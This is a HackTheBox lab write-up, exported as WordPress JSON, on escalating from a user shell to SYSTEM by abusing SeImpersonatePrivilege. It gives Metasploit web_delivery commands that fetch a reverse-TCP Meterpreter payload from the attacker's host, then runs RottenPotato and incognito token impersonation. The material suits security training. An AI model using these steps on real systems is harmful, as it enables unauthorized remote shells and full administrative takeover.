{"id":89,"date":"2020-05-08T18:37:05","date_gmt":"2020-05-08T18:37:05","guid":{"rendered":"https:\/\/shreyapohekar.com\/blogs\/?p=89"},"modified":"2020-05-22T19:07:30","modified_gmt":"2020-05-22T19:07:30","slug":"abusing-seimpersonateprivilege-on-users-to-become-system","status":"publish","type":"post","link":"https:\/\/shreyapohekar.com\/blogs\/abusing-seimpersonateprivilege-on-users-to-become-system\/","title":{"rendered":"Abusing SeImpersonatePrivilege on users to become SYSTEM"},"content":{"rendered":"\n<p>Hello Everyone! This is Shreya Pohekar. This is a follow-up blog from jeeves from hackthebox. Jeeves is a medium windows box. The writeup can be found out here. <\/p>\n\n\n\n<p>This blog post depicts yet another way to priv esc to Administrator. The pre-requisite is to have a user shell.<br>When I ran a <b>whoami \/priv<\/b> , It listed all the privileges the user has. And <b>SeImpersonatePrivilege<\/b> being enabled was something that caught my eye<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"577\" height=\"232\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2020\/05\/image-1.png\" alt=\"\" class=\"wp-image-91\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2020\/05\/image-1.png 577w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2020\/05\/image-1-300x121.png 300w\" sizes=\"(max-width: 577px) 100vw, 577px\" \/><\/figure>\n\n\n\n<p>Since privilege escalation via this method was unintended way, I am covering this exploit as an independent blog where we&#8217;ll be learning what exactly is this privilege and how it can be exploited.<\/p>\n\n\n\n<p>So lets get started.<\/p>\n\n\n\n<p> As the screenshot suggests, when the SeImpersonatePrivilege is enabled for any normal user, he is able to Impersonate a client having higher privileges after he successfully authenticates. In a nutshell, we as a normal user can escalate our privileges to nt authority.  Sounds interesting right?? <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">So how do the Privilege Escalation works?<\/h2>\n\n\n\n<p>The privilege escaltion with SeImpersonateprivilege is broken down in 3 steps as follows:<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Trick the SYSTEM account to authenticate via NTLM to an endpoint that is controlled by us.<\/li><li>intercept this authentication attempt and locally negotiate security token for SYSTEM account.<\/li><li>Impersonate the tokens that are just been negotiated via MITM. For token impersonation to work, SeImpersonatePrivilege is a must.<\/li><\/ol>\n\n\n\n<p>To read about the internals of this exploit, do read the blog by <a href=\"https:\/\/foxglovesecurity.com\/2016\/09\/26\/rotten-potato-privilege-escalation-from-service-accounts-to-system\/\">foxglovesecurity<\/a> <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Abusing the privilege with metasploit<\/h2>\n\n\n\n<p>Working with metasploit is pretty simple as it comes handy with builtin methods that saves us from a lot of repetitive task.<\/p>\n\n\n\n<p>If you have a basic user shell, switch to meterpreter shell with the following commands:<\/p>\n\n\n\n<ol class=\"wpf-blue-background wp-block-list\"><li>msfconsole<\/li><li>use exploit\/multi\/script\/web_delivery<\/li><li>set target 2<\/li><li>set payload windows\/meterpreter\/reverse_tcp<\/li><li>set lhost tun0<\/li><li>set srvhost &lt;your ip add&gt;<\/li><li>exploit<\/li><\/ol>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/i0HrZJDPkOyvI8idg_GIA06byZ85wBk9ks4XeJqYhs1NZjw2M39JzMI2Yue6iGMdRNY-Bhzysqvx-VmzfthXwvTrEx9DCeuLedVm02XhJ69nEHUKPRWkwjDDkS3YNyYVbygRtx0D\" width=\"624\" height=\"512\"><\/p>\n\n\n\n<p>Running exploit generates a powershell script that has to be copied to the already spawned shell. Once the powershell payload gets executed on the previously obtained shell, you get  a meterpreter.<\/p>\n\n\n\n<p>Now we&#8217;ll run load incognito. This tool is used to escalate privileges inside Active Directory environments. With incognito, we are able to impersonate authenticated tokens on the target windows machine.<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" width=\"245\" height=\"20\" src=\"https:\/\/lh4.googleusercontent.com\/OREkgwbN9dnOGZKbmMLVoXez3icQv8ZoqHR4qxSiWImaCYbRBr7RGO8jlwncinlYLM7_tPMKtoFhJ18ehadOO3WAaaCk6pb67-g-4t7FnYEcTeP6Dc6FY60Sn-ayzaqZQAtyFr6p\"><\/p>\n\n\n\n<p>The tokens can be listed with the command list_tokens -u (for users) and list_tokens -g ( for groups). But the commands wont list any impersonation token because we havent yet tricked the Administration to authenticate.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Let&#8217;s generate tokens<\/h2>\n\n\n\n<p>The exploit of the scenerio can be achieved with an exe, rottenpotato.exe that does the actual working of tricking the Administrator via NTLM. The file can be downloaded from <a href=\"https:\/\/github.com\/foxglovesec\/RottenPotato\">here<\/a>.\nNow we have to upload the exe to the meterpreter shell. It can be easily done via <b>upload<\/b> command. Then execute the exe with <b>execute -cH -f potato.exe<\/b><\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" width=\"595\" height=\"135\" src=\"https:\/\/lh5.googleusercontent.com\/NiiJz6nlTD8g_4IY62b9gW_r8rvzYM1n5JwVFuu2_qWXlIZ6yR57USfCw2DgcIPbEIrz1R-KvHambO-0ZOlLd3TxGSfFYxHSfJdjgVqu3nj9AUwJxrGlb2adg2rZJDDnKNVKnzE2\"><\/p>\n\n\n\n<p>Once the exe gets executed, we can again list the tokens, if generated in the process.<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/X7cNR4U82Ibq602pfq7ecqVoc_QPQ-1mGaGgYqmFqFGJyQrpkKF9NSyiapU5j5ZVA-z3UVBm6Z3ejLJBKaJ_AKWQYiJfSZdtUnTzCUUdXVNngEKkKX6W_jFdlhGA5ix3dQmkPbCg\" width=\"624\" height=\"481\"><\/p>\n\n\n\n<p>Volla! We have got impersonation tokens now. And to our interest, <b>BUILTIN\\Administrators<\/b> has a Impersonation token available. So let&#8217;s impersonate it. <\/p>\n\n\n\n<p>With <b>impersonate_token<\/b> module, the account of any user can be mimed <\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" width=\"624\" height=\"280\" src=\"https:\/\/lh3.googleusercontent.com\/z-Nn16cKsTeE_IBg9VWtdynfYNRSy_NbcJzNkLHAE82D2rp2Y932cd1jM6cytdAat4f3xpv_Ou_YjIumdND-YxrInb0zMa5X2sxyOlmk8epwg9sQXn0mQ2y5Wua-Ui_byLqgjsH_\"><\/p>\n\n\n\n<p>After impersonation, we get the shell as nt <b>authority\\system<\/b>.<\/p>\n\n\n\n<p>That&#8217;s all for this blog post. Hope you enjoyed reading.<br>\nUntil then, Happy Hacking!!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hello Everyone! This is Shreya Pohekar. This is a follow-up blog from jeeves from hackthebox. Jeeves is a medium windows box. The writeup can be found out here. This blog post depicts yet another way to priv esc to Administrator. The pre-requisite is to have a user shell.When I ran a whoami \/priv , It [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":183,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ocean_post_layout":"","ocean_both_sidebars_style":"","ocean_both_sidebars_content_width":0,"ocean_both_sidebars_sidebars_width":0,"ocean_sidebar":"","ocean_second_sidebar":"","ocean_disable_margins":"enable","ocean_add_body_class":"","ocean_shortcode_before_top_bar":"","ocean_shortcode_after_top_bar":"","ocean_shortcode_before_header":"","ocean_shortcode_after_header":"","ocean_has_shortcode":"","ocean_shortcode_after_title":"","ocean_shortcode_before_footer_widgets":"","ocean_shortcode_after_footer_widgets":"","ocean_shortcode_before_footer_bottom":"","ocean_shortcode_after_footer_bottom":"","ocean_display_top_bar":"default","ocean_display_header":"default","ocean_header_style":"","ocean_center_header_left_menu":"","ocean_custom_header_template":"","ocean_custom_logo":0,"ocean_custom_retina_logo":0,"ocean_custom_logo_max_width":0,"ocean_custom_logo_tablet_max_width":0,"ocean_custom_logo_mobile_max_width":0,"ocean_custom_logo_max_height":0,"ocean_custom_logo_tablet_max_height":0,"ocean_custom_logo_mobile_max_height":0,"ocean_header_custom_menu":"","ocean_menu_typo_font_family":"","ocean_menu_typo_font_subset":"","ocean_menu_typo_font_size":0,"ocean_menu_typo_font_size_tablet":0,"ocean_menu_typo_font_size_mobile":0,"ocean_menu_typo_font_size_unit":"px","ocean_menu_typo_font_weight":"","ocean_menu_typo_font_weight_tablet":"","ocean_menu_typo_font_weight_mobile":"","ocean_menu_typo_transform":"","ocean_menu_typo_transform_tablet":"","ocean_menu_typo_transform_mobile":"","ocean_menu_typo_line_height":0,"ocean_menu_typo_line_height_tablet":0,"ocean_menu_typo_line_height_mobile":0,"ocean_menu_typo_line_height_unit":"","ocean_menu_typo_spacing":0,"ocean_menu_typo_spacing_tablet":0,"ocean_menu_typo_spacing_mobile":0,"ocean_menu_typo_spacing_unit":"","ocean_menu_link_color":"","ocean_menu_link_color_hover":"","ocean_menu_link_color_active":"","ocean_menu_link_background":"","ocean_menu_link_hover_background":"","ocean_menu_link_active_background":"","ocean_menu_social_links_bg":"","ocean_menu_social_hover_links_bg":"","ocean_menu_social_links_color":"","ocean_menu_social_hover_links_color":"","ocean_disable_title":"default","ocean_disable_heading":"default","ocean_post_title":"","ocean_post_subheading":"","ocean_post_title_style":"","ocean_post_title_background_color":"","ocean_post_title_background":0,"ocean_post_title_bg_image_position":"","ocean_post_title_bg_image_attachment":"","ocean_post_title_bg_image_repeat":"","ocean_post_title_bg_image_size":"","ocean_post_title_height":0,"ocean_post_title_bg_overlay":0.5,"ocean_post_title_bg_overlay_color":"","ocean_disable_breadcrumbs":"default","ocean_breadcrumbs_color":"","ocean_breadcrumbs_separator_color":"","ocean_breadcrumbs_links_color":"","ocean_breadcrumbs_links_hover_color":"","ocean_display_footer_widgets":"default","ocean_display_footer_bottom":"default","ocean_custom_footer_template":"","ocean_post_oembed":"","ocean_post_self_hosted_media":"","ocean_post_video_embed":"","ocean_link_format":"","ocean_link_format_target":"self","ocean_quote_format":"","ocean_quote_format_link":"post","ocean_gallery_link_images":"on","ocean_gallery_id":[],"footnotes":""},"categories":[19,2],"tags":[26,54,65,59,46,64,61,60,58,62,63,56,57],"class_list":["post-89","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hackthebox","category-information-security","tag-hackthebox","tag-htb","tag-impersonate_token","tag-incognito","tag-jeeves","tag-list_token-g","tag-priv-esc","tag-privilege-escaltion","tag-redteam","tag-rotten-potato","tag-rottenpotato-exe","tag-seimpersonateprivilege","tag-windows","entry","has-media"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/89"}],"collection":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/comments?post=89"}],"version-history":[{"count":8,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/89\/revisions"}],"predecessor-version":[{"id":99,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/89\/revisions\/99"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media\/183"}],"wp:attachment":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media?parent=89"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/categories?post=89"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/tags?post=89"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}